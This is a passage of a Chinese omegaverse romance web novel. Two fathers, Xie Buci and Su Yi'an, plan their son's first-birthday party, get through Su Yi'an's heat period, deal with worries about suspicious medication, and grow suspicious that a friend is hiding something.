本来刚睡醒脑子就不太能转的过来,沈伊这一大长串问题甩过来谢不辞一个也回答不上来,只能硬着头皮打断。 “哥……我没你那么专业,我不知道。” 谢不辞感觉到了沈伊可能有点不知道槽他点什么好。 空气安静了好几秒,沈伊才又重新开口:“那你跟我讲讲,你知道什么。” 说到这个,谢不辞立马就请出了那一直摆在床头柜上的药瓶。 “他说这是治疗抑制剂滥用后遗症的药,之前市场上就有人说这是一块好大的肥肉,有不少人在研究这个。” “但抑制剂本身就是管控药,在咱们这查的特别严,别的国家也没有放开过,所以你先看看药有什么问题。” “也许拿这个找人应该挺好找的?” 因为不想学外语,出门玩不想带翻译,所以谢不辞真的不太能认出来写着药品说明的是哪国文字。 沈伊却越看眉头皱得越深。 “如果这说明写的是真实且完整的成分内容的话,这绝对是能把人吃死的东西。” “你查吧,我大概已经猜到这些乱七八糟的药是谁在故意卖给他了。” “谁啊?” 谢不辞完全没意识到他俩不熟且富人圈里没有证据不能乱说话,问题直接脱口而出。 “你直接告诉我,我有目的的去查不是更快吗。” 沈伊也不惯着他:“那你跟蒋泽关系那么好,他也许都查完了,为啥也没告诉你是谁。” 说起这个,谢不辞才意识到到底哪里不太对劲。 隔着这么大的事情出去吃饭,真的能吃好吗…… 而且蒋泽说的是年后等雪团生日以后再告诉他,为了防止他冲动做事再给苏以安带来什么麻烦。 可是会是什么样的人,才能让蒋泽让沈伊都不敢跟他开口? 圈子里几乎没有谁势力大到能让蒋泽不敢背后议论,或是沈伊家抗衡不了。 那都对他支支吾吾难道是因为…… “你们都不开口,该不会是我身边哪个特别熟的人搞背刺吧?” 第60章 第 60 章 沈伊没回答他。 但最主要的是, 谢不辞连模棱两可的否定答案都没得到,那基本就可以理解成他猜的大差不差了。 跟他关系很好或者很熟的老板…… 他前阵子谈生意确实遇见了不少。 那些合作对象,就算没熟到从小看着他长大的那个程度, 也起码可以称作是他爸的老朋友。 从这里面找, 要是真让他找到了, 怎么处理这大麻烦, 就够谢不辞头疼很久。 “其实我只要知道是什么药, 药里有什么成分就可以了。” “是谁见不得他活着,目前来讲没那么重要。” 谢不辞能感觉到沈伊是在变着法的安慰他,但他一点都没被这话安慰到。 “行了别想了,蒋泽不告诉你自有他的道理。” “寻思点有用的,之前零零散散的用了不少药,我说过这孩子不一定健康,产检最好做勤一点。” 万一有什么意外导致这孩子留不下, 也好提前有点准备,把风险留在可控的范围。 很多话,沈伊站在国内唯一一个能给苏以安看病的医生的立场, 都没法直说。 苏以安现在情况还算稳定, 沈伊也没在他俩面前多留, 跟谢不辞讲清楚要委婉一点告诉苏以安。 毕竟看起来,不说是不是想留下孩子,起码不会过分介怀孩子没法打掉这码事。 沈伊离开之前,谢不辞还出去送了送他。 临关门时,谢不辞眼看着沈伊按了电梯,才犹豫着询问:“兄弟你跟我讲句实话, 你还喜欢他吗。” 沈伊根本没回头看谢不辞,视线一直注意着不断闪烁的电梯楼层。 “我知道你要说什么。” “明明我们都喜欢他, 为什么我不争不抢的让你跟他单独住在一起。” “我是个医生,我要保证他活着,我要想办法让他恢复健康,没有比这个更重要的,我不会像你那么幼稚,在这种时候谈喜不喜欢。” 沈伊在A国留学的时候就知道,苏以安爸爸去世以后,他就一直孤苦伶仃的一个人,只有方明之一个关系特别好的朋友,对方还一门心思追求理想。 大多数时候都远在另一个国家的朋友,比不上对门邻居。 结果对门还是谢不辞这么个不靠谱的。 所以在A国,沈伊就各方各面都想着帮苏以安一把。 最开始是觉得他很可怜,后面相处下来发现,也挺喜欢他的。 电梯门打开,沈伊就径直走了进去,临下楼,还对着谢不辞嘱咐了一句:“不管怎么说,你看起来都比他能点得到的男模靠谱。” “这种病发情期不规律,记得别让他自己一个人待着的时间太长。” 沈伊不想唠叨谢不辞。 因为谢不辞真的仅仅只是比男模靠谱了一点。 矬子里面拔将军的选择罢了。 电梯都已经快到一层了,谢不辞还在对着那已经关上的门愣神。 沈伊说的:你看起来比男模靠谱。 谢不辞听见的:苏以安连男模都没点的在等着他,苏以安觉得他能甩男模十万八千里。 而且这个观点,还得到了沈伊肯定。 回了卧室,谢不辞发现苏以安不知道什么时候醒来的,裹着被子缩在床角,见谢不辞进来,只是抬头看了一眼,也不跟他说话。 像个被抛弃在街边的小动物。 谢不辞走进去,坐到床边,怕苏以安会冷还专门伸手试了试他手指尖的温度。 还好,是温热的。 “先吃点东西再继续睡吗?” “不是很想吃……胃疼。” 苏以安说话的声音无精打采的。 其实身上哪里都不舒服,但他懒得跟谢不辞形容。 整个人都昏昏沉沉的,头重脚轻,有种说不出的疲惫感。 后颈处的腺体传来阵阵酸胀,连带着小腹也一直隐隐作痛。 而且最让他难以接受的是,本来就睡不好,离了alpha信息素就更睡不踏实。 他分不太清自己到底是特殊时期需要alpha信息素还是单纯因为情绪状态不好,最近这段时间谢不辞又看起来像个人,而依赖谢不辞。 所以始终有他难以控制的负面情绪。 谢不辞出门倒了杯热水进来,因为觉得热水加凉水会有奇怪味道,所以就倒刚烧好的水放到床头柜上晾着。 “你还有哪不舒服吗,要不要跟沈伊讲一下?” “我觉得他还没走远,叫回来也用不了多长时间。” 苏以安没直接回答他,反而反问道:“你们在外面聊什么了。” 倒不是说有什么好避讳苏以安的,谢不辞也不知道为什么,就是不愿意跟苏以安谈论沈伊。 因为真算起来,他跟沈伊比,几乎没有任何竞争力。 他也不想听苏以安给沈伊比较高的评价。 “有秘密?” “那倒也不是。” “就交代了一大堆的医嘱,然后说要去化验一下那瓶胶囊的具体成分。” 苏以安没接话。 那胶囊本身是他翻行李箱的时候找出来的,抑制剂上次已经用完了,也没剩什么存药,翻了半天也就找出来一瓶这个。 最后放弃了随手扔在床头柜上。 谢不辞不问,他也就没解释。 但谢不辞向来不是个让人省心的,尤其是没什么可聊的还硬要唠这一块。 “你看你现在也没什么事情,不睡觉不吃饭的。” “能不能讲讲你为啥拒绝沈伊?” 谢不辞和沈伊,明眼人都看得出来应该怎么选。 就冲沈伊不渣不乱玩这一点,谁好谁坏就已经一目了然了。 觉得一直得不到答案谢不辞肯定就一直不会死心,苏以安还大发慈悲的给他解释了两句:“沈伊本身是很好的人,可是他跟我们不是一类人。” “我知道真的嫁给他他会善待我,但我也明白他其实没有多喜欢我。” 谢不辞有些不可思议。 当时说好订婚,苏以安又来回来去的反悔。 沈伊知道苏以安生过孩子,也知道在商量订婚宴之前他俩就拉拉扯扯,不清不楚的搞出了第二个孩子。 就到这份上,也没见沈伊放弃。 所以谢不辞就一直觉得,沈伊特喜欢苏以安。 “不信?” “我说了呀,他本身是很好的人,他对所有人都好,我不否认他很成熟,他能分清自己的感情,可他对我,一定是可怜多于喜欢。” “你们所有人都觉得我很可怜,不管有没有把这个态度带到我面前来。” “我理解不了你们为什么从来没有人意识到,我根本不需要你们可怜。” 说来可笑,苏以安一直都知道,他想要的是爱。 是那种不需要他刻意去讨要就可以轻而易举得到全部的爱。 沈伊给不了。 从刚认识那会苏以安就意识到了。 有的人,真的只能一辈子都做朋友,再往前一步都只能换来互相束缚互相伤害。 不过不光是沈伊给不了,可能他就注定得不到所求。 之前说订婚那会,苏以安也不是没有动摇过。 只是觉得人不能太缺德,没有祸害好人家孩子的道理,所以拒绝的立场从来没变过。 谢不辞哦了一声,也不知道听懂了多少。 但他抓重点的方式就是很不一样。 他觉得苏以安是在表达,沈伊可怜他被他感觉出来了,所以他对沈伊永远有芥蒂,也根本不可能再接受沈伊。 于是开始疯狂复盘自己有没有什么让苏以安给他判死刑的行为。 谢不辞还特意粗略的计算了一下。 太多了,数不过来。 他不想破罐子破摔,可也绝对不会没有眼色的主动去问,让苏以安重新翻一遍他的旧账。 后面为了防止聊到一些不知道什么时候就会忽然急眼的话题,谢不辞特意翻出之前管家发给他那份雪团周岁宴的流程给苏以安看。 从邀请宾客名单开始。 这种活动,谢不辞不想让苏以安缺席,所以最开始就强调过只请一些不发邀请函于情于理都过不去的人。 剩下可有可无的氛围组都不让来。 还把名单都给苏以安看了一遍。 苏以安只瞥了一眼,都没把手机接过去,就开口回复:“没什么问题,该请就请,不用担心乱七八糟的。” 这话一出来,谢不辞心里立马警铃大作,立马低下头看名单里有没有什么老早之前就跟苏以安有什么瓜传出来的人。 苏以安要是怼他骂他,那还好说。 不搭理他也只能说明是心情不好或者是身体状态不太好。 雪团的周岁宴,亲爸不可能一点都不上心。 那张嘴就是没问题,意见都懒得带一嘴…… 又踩到红线了? “那你想请谁?” “方明之,我老师,就没了。” 没有提起什么学长或者同门,连长辈都只能请老师过来。 谢不辞有些替他心酸、 苏以安之前跟他讲,手里有钱的omega混得再差也不会差到哪里去。 可是人是群居动物,没了家,就像无根浮萍一样。 他忽然就不想小心翼翼了,与其自己私下去查到底是谁跟苏以安不太对付,还不如他现在就直接问:“这名单里面,你不喜欢谁?” “你可以直接告诉我,还没有发邀请函,不需要你顾忌什么。” “我都不认识,我能看不惯谁?” “你能不能别跟有病似的,这话让你说的,恨不得全世界都是我仇人。” 谢不辞一愣。 ……哦,原来不是那个意思。 话音落下谢不辞立马松了口气。 提心吊胆了这么长时间,终于没作死就挨骂了。 这下苏以安正常多了。 “那你对抓周有没有什么意见,比如放上些什么,搞点子承父业的流程这样?” 苏以安闻言皱着眉看向谢不辞:“你要是抓周的时候敢往我儿子面前放酒瓶,你就他妈有多远滚多远,孩子我带走自己办。” 60-70 第61章 第 61 章 很好, 又是一个误会。 谢不辞怕他再急了就不理他了,着急忙慌的就开始解释:“我咋可能是那个意思。” “我原本想问你要不要放一根你的画笔或者放个调色盘上去的,你学美术就让他也学。” “算了吧。” 苏以安回答得毫不犹豫。 以至于谢不辞还有点好奇, 美术专业到底有什么洪水猛兽, 学了的都给外人劝退。 但觉得, 除开花销问题, 也没见圈子里谁学美术混得特别惨淡什么的。 谢不辞甚至有点怀疑苏以安是不是不太愿意加上抓周这个流程。 他刚想开口问, 就听见了苏以安的解释:“搞艺术压力都蛮大的,而且精神很容易出问题。” “创作类工作,没有特别坎坷的经历和见识,很难搞出值钱的作品。” 是值钱,跟情怀没有关系。 艺术家也是要吃饭的。 想专业对口的养活自己,没有得到业内名声极高的老师的偏爱,基本要摸爬滚打很久很久。 要么就是花大价钱砸出名气来。 可那会违背搞艺术的初衷。 所以有别的路可以选, 苏以安都不会愿意让自己的儿子再学这个。 “但是……无论做什么,人都不可能一辈子都一帆风顺吧?” “好的我闭嘴。” 谢不辞本来是觉得,拿画笔应该会是条很轻松的路, 才主动询问一下苏以安。 但他这话一出来, 能明显感觉到苏以安的欲言又止, 那接下来的剧情应该不是想骂他就是让他滚。 于是谢不辞立马及时止损。 这种情况下的omega喜怒无常的,还比较暴躁,苏以安愿意说话就已经是给了他极大的脸面了。 谢不辞觉得,苏以安心情不好就先不要再说了,没成想对方直接拿过自己的手机,把管家发过来那个周岁宴流程又细致的看了一遍。 还出乎意料的发表意见:“看起来时间好长, 这一套下来,起码得六个小时吧?” “雪团没有那么大的精力, 就像昨天你带他回家一样,他觉得他在哄那一群大人。” 突如其来的交流让谢不辞立马像打了鸡血一样,兴奋的凑到苏以安旁边,然后顺着他的话问想删减掉哪些东西。 距离凑近以后,那弥漫在空气中的信息素味道就变得更加明显。 谢不辞真的很喜欢苏以安身上那种清新中透着些许苦涩的味道,于是在两人都没反应过来时,鬼使神差的,伸手环住了苏以安的腰。 还把头埋在苏以安颈窝之间。 意识到这是一种极其亲密的姿势时,两人的身体都微不可查的僵硬了一下。 但苏以安没有明显的抗拒,也对谢不辞的行为未置一词。 察觉到这默许,谢不辞简直高兴得像个二傻子一样。 表面上虽然强装淡定,但背地里尾巴都快翘到天上去了。 “我特意找人查过了大多数民间的抓周流程,没有那么固定,都是图个好意头。” “我小时候被养得可糙了,我妈也不知道有什么讲究,可能我们家对孩子最大的重视就是……多给点钱?” 苏以安没言语,只是动作很轻很轻的往他这边靠了靠。 他俩从来没有过这么近的姿势。 头挨着头。 苏以安的手还搭在了他环着他腰的那只手上。 他手心温热的温度从谢不辞手背传来,连带着谢不辞的心跳都有些不受控制的加速。 对方根本不需要什么技巧,哪怕只是透露出一丁点依赖他的意图,就够让谢不辞自乱阵脚,甚至想倾尽一切去讨好。 而这会苏以安偏偏还要故意撩拨,朝谢不辞轻笑一声:“我听见了你的心跳声。” 第62章 第 62 章 谢不辞闻言条件反射一半松开了抱着苏以安的手, 不自在的往旁边挪了挪。 “你咋就能那么肯定听见的是我的。” “那……那……我还能说是你臣服于我的美貌因为我小鹿乱撞呢。” 苏以安挑了挑眉。 这么一个简单的小动作,就给谢不辞一种,他们之间的关系, 苏以安才是绝对主导者的感觉。 他有些紧张的咽了咽口水。 然后才又听见苏以安的声音:“哦, 我胡编的, 你这么大反应干什么?” 言罢苏以安还主动凑近, 伸手在谢不辞脸上轻轻拍了拍:“哎呦这小脸红的, 一定是暖气太热了对吧?” 谢不辞刚想躲开,那带着些许凉意的手指尖就抚上了他的耳廓。 像触电一般。 凉凉的,又带着一种酥酥麻麻的感觉。 “耳朵也这么红,我知道的,屋子里这么热,绝对不会是因为我摸了你。” 这暗戳戳的带着点阴阳怪气的调戏,谢不辞从没在任何人身上见到过。 他现在算是知道了为什么那些老板都对苏以安念念不忘了, 换做是他,他也想把苏以安当做私人物品豢养着。 “你……” “我?” “我这是关心你。” 苏以安没管谢不辞是什么反应,主动伸手解开了两颗他衬衫上面的纽扣, 随后手指下移, 划过他胸口的皮肤。 依旧是微凉的手指尖与他有些灼热的皮肤相贴。 真的有点热。 热得谢不辞好像脑子都不太灵光了。 “你可以先不用关心。” “不是, 我是说……或许我们现在更应该谈论点正经的?” 谢不辞也知道自己有点破坏气氛。 但这气氛要是再不破坏,事态就又会不可控制的发展成了他俩原先那种床伴关系。 一个想追到老婆的小技巧——不能让老婆觉得你只想睡他。 “比如呢?” 比如…… 其实周岁宴的流程看起来好像很繁琐,但管家尽职尽责,不光把饭做好了,连摆盘都操心完了。 只要你看看符不符合审美就可以了,还能有啥需要商量的。 谢不辞不动声色的往后挪了挪, 绞尽脑汁的思考这种情况要说点什么才能不显得尴尬。 然后就真的想到了点需要跟苏以安商量的—— 雪团的周岁宴要不要请季文璟。 从他的角度来看,玩了这么多年的铁哥们了, 不请说不过去,肯定也会搞得人家心里不痛快。 但话又说回来了。 有高中这前科,在没解释没握手言和的情况下,贸然请过来,苏以安也不可能会开心。 不光进退两难,连开口都是语言艺术。 “就是,我说了你能不生气吗。” 这开场白简直土套得要死。 不过凭借谢不辞囤的那点话术,似乎最拿得出手的也就只有这个。 苏以安有点想笑。 我说了你能别生气吗。 翻译:我后边说的话肯定是你不爱听的,我提前给你打了预防针,你懂事点,别跟玩不起似的急眼。 “不能,你别说。” “……” 谢不辞哦了一声。 不说,那就等于不能请。 他宁愿提前告诉季文璟这次不请他,事后再想办法安慰兄弟,也绝对不要因为这个跟苏以安闹不愉快。 弄不好就是前边好不容易积累起来的好感全都功亏一篑,还老婆孩子一起跑。 “我不难为你,你讲吧。” “但是你自己也知道我肯定不爱听,那就做好我会拒绝你或者不回答的准备。” 没有冷场。 谢不辞真的挺意外的。 他觉得这种听起来就很难受的时期,苏以安肯定得看他不顺眼,动不动想会跟他打一架。 这么给他好脸色……事出反常必有妖吧? “不说就滚出去。” 一注意到谢不辞那有些疑惑的表情,苏以安立马就意识到,他绝对是因为好脸给多了不习惯。 “别。” “其实也不是那么重要?” “我想问你介不介意我把季文璟请过来。” 谢不辞犹豫着要不要讲来着,但是觉得除了这个他好像也找不出别的更贴切的话题来,于是话没过脑子就说出来了。 可说都说完了,他才觉得,在苏以安还没看他各种不顺眼的时候说这种话,愚蠢至极。 苏以安确实沉默了。 不说话的那段时间像要把谢不辞凌迟一样。 他想开口找补两句:“不是非请不可,你要是不愿意就当我没问过。” “实在不行,我这边请谁都给你看一眼,看谁不顺眼就把是谁从宾客名单上划掉?” 反正也还没开始请,不存在得不得罪人的烦恼。 苏以安没正面回答他,开口是另一个话题:“你为什么会觉得我能跟你那个圈子里的人相处融洽呢。” 谢不辞听见的第一反应是,孩子虽然是两个人的,但周岁生日,也不是非得要凑在一起过。 孩子可以上午跟他,下午跟苏以安。 两边都很重视,还完全不冲突,可以完全避免因为意见分歧发生矛盾。 “那可不行啊,你也不想让孩子这么小就觉得两个爸爸对立吧?” “这跟他觉不觉得有什么关系?” “我把孩子交给你,是因为觉得跟着你,他起码是安全的。” 不待谢不辞深究安全这俩字到底意味着什么,他就听见苏以安又继续开口:“毕竟,这个世界上是有人贩子的。” “开着玻璃被处理过的面包车,或者是那种快递公司的大型货车之类的,把人带到荒郊野岭的,一睁眼就是破败水泥房。” “然后发现被捆在床上,一群带着口罩看不清脸的人围着。” “不是挖腺体就是生取器官,或者干脆成为有钱人见不得光那种癖好的玩具。” 还是被玩死了也没人在意的那种。 谢不辞觉得,苏以安不会无缘无故的说出这种话。 能描述到这份上,八成就是在他看不见的角落里,苏以安就已经把这些乱七八糟的,都经历一遍了。 他有些不知道该说什么。 每次交流都能无意间得知些刷新他认知的,苏以安的悲惨经历。 “你……” 谢不辞想安慰他点什么,却又认为,语言太苍白无力了。 “你是不是觉得特别没有逻辑。” “没有。” 就算再认知匮乏,谢不辞也在电视上手机里见过被人贩子拐走的人过得有多惨,逃出来又要有多九死一生。 像沈伊说过的。 信息素功能障碍这种病,致病因素尚不明确。 也许不全是因为乱七八糟的药呢? 而且谢不辞并不清楚苏以安有没有腺体受损感染这种情况。 “对不起,我不知道你经历过这些。” 说到这个话题,气氛多多少少会带点沉重。 但好在,谢不辞也没心疼难过多久。 苏以安把手机熄了屏送回他手上,语气轻松的开口:“没听过就对了。” “因为这是我编的。” 谢不辞:? 苏以安确实见过,只不过没轮到他自己经历。 他在A国有个邻居。 是个特别典的霸总家金丝雀。 确切的说,还是那种古早虐文里,被有白月光的霸总骗身骗心还恋爱脑的金丝雀。 那小金丝雀也是个omega,因为和霸总闹脾气才跑到国外来,身边带着个半岁多的孩子。 霸总也不是什么省油的灯,人品不好,一大堆的仇家。 仇家觉得霸总或许不在乎金丝雀,但一定在乎自己的孩子。 于是就招来了拐小孩的。 孩子很小,被找回来的时候奄奄一息,连哭都发不出什么声音。 那段时间里,苏以安有好长一阵子没看见过他那邻居。 后来孩子活没活下来苏以安不知道,只知道那金丝雀自杀了。 因为在找孩子的过程中,他也被拐卖了一次,再加上霸总的不作为和漠不关心,招来了更多祸患。 临死之前,他找苏以安哭诉了好久好久。 苏以安一直都记得。 甚至记得,当时自己还觉得那霸总跟谢不辞一样傻逼一样缺德来着。 后来除去报复因素,苏以安也依旧想把雪团留给谢不辞。 真的是因为孩子跟着谢不辞比跟着他安全很多。 “没事,编的更好,是真的我反而不知道该说什么。” 谢不辞最初,没有意识到开这种玩笑并不好笑,只是在听见他的观念被否定以后,送了口气。 苏以安确实没说他自己经历,是谢不辞在过分脑补。 但他俩之间,一如最初。 煽情的气氛根本维持不了多久。 “好了现在我们绕回最开始的那个问题。” “你完全不用担心季文璟过来会不会让我不高兴,你可以想请谁就请谁,这都没关系。” 谢不辞听不出来苏以安是不是不高兴故意说反话,也没法从语气判断苏以安有没有阴阳怪气。 然而很快,他就发现,他根本不需要这么小心翼翼的。 苏以安从来不会给他留脸面:“因为,无论和谁相比,我最讨厌的永远都是你。” …… 言外之意就是,连你都接受了,后边不管你把谁请过来,都起不到恶心我的效果。 这下谢不辞是真彻底不知道该怎么接了。 最讨厌的永远是你。 轻飘飘的几个字,却清清楚楚的让谢不辞看见了隔在他们中间的大山。 苏以安受到过的伤害都没法被轻而易举的抹去,而谢不辞作为最开始的伤害来源,也不可能被原谅。 这好像是无法解决的问题。 哪怕现在谢不辞过得跟苏以安最开始一样苦,一样的走投无路被人践踏,都起不到一点作用。 因为过去的伤害已经发生了。 谢不辞不是很想再说对不起了。 那抵消不了他心里的愧疚,雪团是怎么来的,他俩都心知肚明。 他忽然有种无力感。 最后深吸一口气,没敢再看苏以安:“那这次雪团的周岁宴,需要我们分开给办吗。” 第63章 第 63 章 “都可以, 到时候再说。” 苏以安觉得反正都是形式主义,没必要弄得那么麻烦。 他倒不是觉得孩子不配热热闹闹的好好过个生日,是他真没什么信得过的人可以请。 而且谢不辞也没有那么多特别重要的亲戚, 那些惦记着他们家钱的, 还不如不知道有雪团这么个孩子呢。 被极品神经病盯上, 也是有够他们提心吊胆的。 两边人都特别少的话, 苏以安也不太介意是不是大家都凑在一起给孩子过周岁生日。 “你放心, 咱俩的个人恩怨不会影响到雪团。” “我可以在他面前装得像咱俩之间什么都没发生过。” “等他记事了,你就跟他说我很忙,在很远的地方打工,一年也就只能回来那么两三次。” 孩子还小,话说多了,就会变成他思想里根深蒂固的东西,记事了也不会轻易更改。 于情于理, 苏以安都希望自己都孩子可以过得好。 所以不愿意跟谢不辞闹得太僵。 谢不辞不接话。 因为不赞同苏以安的做法,却也没有立场强求反驳,只得执拗的以沉默当做拒绝的方式。 哪怕知道这种方式不会有实质性的作用。 而且今天他俩之间, 几乎没有冷场这一说。 苏以安根本不会给他尴尬的机会, 自顾自讲完就把谢不辞轰出卧室。 再往后就是俩人面对面沉默着吃饭, 一个睡卧室一个睡客厅的沙发。 临天黑的时候,谢夫人还带着雪团给谢不辞打了个视频电话。 接电话之前,谢不辞觉得有必要给苏以安看看,却又拉不下脸来主动去卧室,于是选择了录屏,准备在电话挂掉以后发给苏以安。 视频刚接通, 就见雪团对着镜头笑。 看起来在他们家别墅玩得比在他手里开心多了。 “你看我给我们家雪团宝宝找了个新玩具,他可喜欢了。” 谢夫人说的新玩具其实也就是学校门口小卖部里那种塑料制的劣质小水枪。 橙色的, 上面还挂着水珠。 见电话接通,谢夫人还把手机支起来,抱着雪团对着镜头讲:“举起来给爸爸看看,给他展示一下。” 雪团对着镜头眨了眨眼睛,看见谢不辞以后先是清脆的喊了一声爸爸,然后举起小水枪,用稚嫩的声音对着手机说话:“呲你。” 紧接着谢不辞就看见手机屏幕摄像头的地方糊上了几滴水。 “好儿子打真准。” 听见谢不辞的夸奖,雪团还拿另一只没沾上水的手在手机屏幕上抹了抹:“给你擦擦。” 谢夫人从旁边拿出手绢,替雪团擦了擦手:“小孩还挺贴心。” 谢不辞忽然发现,他家雪团是有乳牙的。 平常雪团很少跟他说话交流,也几乎不会对他笑,他除了会给冲个奶粉换上身皱皱巴巴的衣服以外,尽不到什么做爸爸该承担的责任。 以至于把雪团养得像橱窗里只供展示的瓷娃娃。 看起来对他感情不深不浅。 现在见雪团笑得眼睛弯弯的,还露出几颗刚长出来不久的牙,挥着小手举着玩具枪看向他,谢不辞算是体验了一把这难得的,只有为人父母才能体会的感觉。 于是他就开始像个家长一样开始嘱咐:“大冬天的,水一会就凉了,多冷啊,带他少玩一会。” “我不比你靠谱啊?” 不知道别人家是怎么样,反正谢夫人肯定是听不得儿子训妈,立刻就开口反驳:“咋的,你们家什么温度你不知道啊?你没住过?” “还是说,某谢姓男子也记得自己近几年来都跟离家出走一样,过年都不在家里住啊?” 提起这个,谢不辞下意识心虚,支支吾吾的回答:“那个……也还好吧,只是没在家里住而已,又不是不回去了。” 为了防止进一步挨骂,谢不辞立马转移话题:“这两天先别把雪团送回来了,后面我想再带苏以安去医院看看。” “你自己安排,孩子年后我给你送回去。” 后面又简单的寒暄了两句就挂断了电话。 谢不辞给苏以安把录屏发过去,两个人又隔着一道墙在手机里说了几句,就互道晚安。 再往后,苏以安情况也还是稳定的。 这两天沈伊隔几个小时就给谢不辞发消息问一次怎么样了,好在是有惊无险的度过了这次发情期。 中途谢不辞还总结了一下,如果能除去苏以安对他这个人有意见的主观因素,那不让他进卧室,还要保持社交距离,大概就是不太能接受浓度较高的信息素。 不过连最讨厌的永远是谢不辞这种话都说出来了,谢不辞还没被赶走,盲猜也是需要信息素的。 了解完这个情况以后,沈伊的笔记本上就多了好几页文档的病情研究记录。 然后还不忘告诉谢不辞,他找苏以安确认过了,让谢不辞猜苏以安是怎么说的。 收到这条消息的时候,谢不辞正在开车回自己家接雪团的路上。 看见消息直接就一个电话拨过去。 告诉沈伊:“你有话就说,这有什么好卖关子的。” 沈伊先是沉默了几秒,开口也完全出乎谢不辞意料:“其实我觉得,你也不是一定要听。” “你少说屁话,他说不让我知道了?赶紧的别浪费时间。” 这会觉得车里暖风开得太大有点闷,谢不辞还专门把车窗打开了个缝隙。 随后冷风跟着沈伊凉飕飕的话一起吹进来:“他说,跟那些乱七八糟的都没有关系,他是故意的,不想让你总围在他身边,也不愿意你搞自我感动的那套单方面示好。” 谢不辞:…… 这绝对是苏以安能说得出来的话,且沈伊一定原话照搬,不存在一点忽悠他的成分。 没准这传到他耳朵里的话,还是沈伊听不下去了加工美化过的。 谢不辞也懒得去深究沈伊是不是故意来挑衅他,准备找个由头接受交流:“他还说了什么吗?” “让你把孩子给他抱回家带两天?” 谢不辞应了一声知道了就挂了电话。 到了别墅以后,因为有几天没见了,雪团确实跟谢不辞像不太熟了一样,喊爸爸都肉眼可见的拘谨。 是谢不辞跟他讲要带他去见苏以安,他才开始听话的让人抱。 他确实是怎么说怎么做的带孩子去找苏以安。 然后把雪团留在他对门,也没跟苏以安说话。 两人就像陷入了莫名其妙的冷战一样,不知道在别扭什么,但就是无话可说。 谢不辞回了自己家,时间还早。 他刚想找蒋泽说点什么,便率先收到了蒋泽发来问他今天晚上有没有时间的消息。 说年过得差不多了,三个人一起出来聚聚。 如果今天有时间的话,就别找什么下次一定的借口了。 谢不辞翻出了压箱底的烟,觉得有点糟心,回消息应下了以后就自己一个人像躺尸一样的瘫在床上。 有点不记得上次抽烟喝酒是什么时候了。 实话讲,他可以做到不是很在乎苏以安会不会拒绝他,却没法接受对方没有明确拒绝他让他觉得有希望的时候,再告诉他最讨厌的永远是他。 莫名烦躁。 发呆的时间过得也还挺快的。 谢不辞体感上也没觉得过去了很久,天就已经黑了。 约的是晚上七点在老地方见面,谢不辞也没具体注意时间,把自己收拾好了就出了门。 到地方进了包间发现,只有蒋泽一个人在。 但其实他道地方那会,已经迟到了将近半个小时了。 谢不辞走进去,拉开椅子坐下,还给自己倒了杯红酒,才朝蒋泽问道:“给他接风洗尘的,他怎么也迟到?” “不知道啊,我问过了,打电话他没接。” “时间还是他定的呢,应该不至于直接把咱俩都水了,一会看看他怎么编迟到的理由。” 他们仨以前聚会也这样,总有人因为一些莫名其妙的原因迟到。 而且七点半,确实还早。 他俩谁也没放在心上,随便找了个话题聊了聊,就像高中那会聚会的时候一样,找个游戏开两把,谁死谁喝。 今天等的时间确实有点久,谢不辞跟蒋泽坐在这打了一个多小时的游戏,也还是没见季文璟的踪影。 而且没给他俩任何一个人发消息解释,连堵车或者因为什么耽误了一下这种扯个理由的场面话都没有。 两人反应过来不太对劲,给季文璟轮流打电话,却也依旧是没有人接。 蒋泽后面又给季文璟家管家打电话,得到了人中午吃过饭就走了的回复。 没在家,国内也没什么朋友,还没谈恋爱。 就他们俩两个玩的好的朋友,约好了见面,迟到了一个半小时还没有音讯。 正常人的第一反应都应该是出事了。 他俩本来都觉得季文璟也是alpha,他们家不至于有什么特别偏激的仇人绑架谋杀,但真到这份上也还是有点不放心,商量着一起出去找找人。 结果谢不辞刚拉开包间的门,就看见走廊尽头处季文璟摇摇晃晃的往他们这边走。 觉得季文璟状态不太对,蒋泽还率先开口问:“这是咋了?” 可谢不辞却说不出话来。 因为—— 他在季文璟身上闻到了苏以安信息素的味道。 不太明显,但谢不辞不可能闻错。 苏以安这两天才刚过完发情期,身上信息素的味道很浓郁,且谢不辞跟苏以安相处了那么久,闻了这么多年,不可能存在不记得人家信息素是什么味道的情况。 “你干嘛去了,给你打电话你也不接。” 听见蒋泽这问题,季文璟先是小心翼翼的观察了下谢不辞的表情,才神色不自然的回复:“也没干嘛,你们喝了多少,再开两瓶新的吧。” 第64章 第 64 章 谢不辞不知道该不该问。 他觉得季文璟有事情瞒着他。 或者说, 季文璟跟苏以安私下是有交集的,也许是因为些什么不太能见光的事情达成共识,都在对他刻意隐瞒。 不是身体交易这种。 绝对是比这些更上不得台面的东西。 他不动声色的重新拉开自己最初坐着的那张椅子坐下, 然后点了支烟, 接话道:“点的是你之前最喜欢喝的那种酒, 你不来, 都没上菜。” 烟抽了一半, 谢不辞又想忽然意识到了什么似的,给蒋泽和季文璟一人递了一支。 蒋泽也注意到了他俩之间那过分客套的气氛,接过烟主动想办法缓和:“我发现老谢你有了老婆孩子的就是不一样,有阵子没抽,都忘了抽烟之前还得给我俩分了是吧?” 挺语言艺术的。 谢不辞也还特别适时的有脑子了一回,知道蒋泽是在帮他暗示季文璟,苏以安是他想追的人, 让季文璟别吞吞吐吐的制造误会。 毕竟他们三个人关系这么多年一直都挺不错的,因为什么起隔阂都很不值当。 但季文璟精神有些恍惚,也没听出蒋泽的言外之意, 只沉默的自己从口袋里掏出打火机把烟点上, 没跟他俩任何一个人说话。 这下谢不辞开始意识到季文璟跟苏以安见面这件事情并不是他想象中的那种小打小闹了。 于是主动起身, 伸手拍了拍季文璟的肩膀,然后凑近,季文璟耳边幽幽开口问道:“怎么,有事瞒着我啊?” “见过苏以安了?你俩之间能有什么事情连我都不能告诉?” 这话一出口,谢不辞就有一种转瞬即逝的直觉,觉得一定得有点什么苏以安受过的苦来源于季文璟。 不是季文璟那个凤凰男的渣爹, 就是他本人。 但这都只是无关的猜测。 念头闪过去了,也就过去了。 他们认识了这么多年, 季文璟和苏以安甚少接触,也没什么仇没什么怨。 谢不辞很相信季文璟的人品。 “见过……就是在沈伊带着苏以安做检查的时候路过碰见了,没说什么。” 没说什么。 蒋泽神色凝重的也凑到季文璟旁边,但也没接话,只把视线落在他身上。 季文璟似乎是怕谢不辞再多问什么,转过头看向他,语气里也带上了几分焦急:“我说真的!” 谢不辞迎上他的目光,赞同了刚那句话:“你确实不会撒谎。” 